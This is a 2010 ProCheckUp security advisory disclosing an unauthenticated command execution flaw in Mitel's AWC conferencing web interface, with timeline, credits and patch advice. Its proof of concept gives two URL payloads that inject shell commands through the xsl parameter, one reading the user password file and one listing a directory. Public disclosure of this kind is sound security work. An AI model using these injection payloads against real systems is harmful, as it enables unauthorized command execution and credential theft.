http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14 PR10-14 Unauthenticated command execution within Mitel's AWC (Mitel Audio and Web Conferencing) Advisory publicly released: Tuesday, 21 December 2010 Vulnerability found: Wednesday, 21 July 2010 Vendor informed: Monday, 26 July 2010 Severity level: High/Critical Credits Jan Fry of ProCheckUp Ltd (www.procheckup.com) Description Mitel Audio and Web Conferencing (AWC) is a simple, cost-effective and scalable audio and web conferencing solution supporting upto 200 ports. http://www.mitel.com/DocController?documentId=26451 ProCheckUp has discovered that the AWC web user interface is vulnerable to an unauthenticated command execution attack. Proof of concept The following demonstrate the command execution flaw: 1) Vulnerable to command execution To read the user password file http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat %20%22/usr/awc/www/users%22%26 To perform a directory listing http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls% 20%22/usr/awc/www/cgi-bin/%22%26 Consequences: Command execution allows Unix commands to be remotely executed with the permissions associated with the web service account. No authentication is required to exploit this vulnerability. How to fix Ensure that the latest patches have been installed. References Legal Copyright 2010 ProCheckUp Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.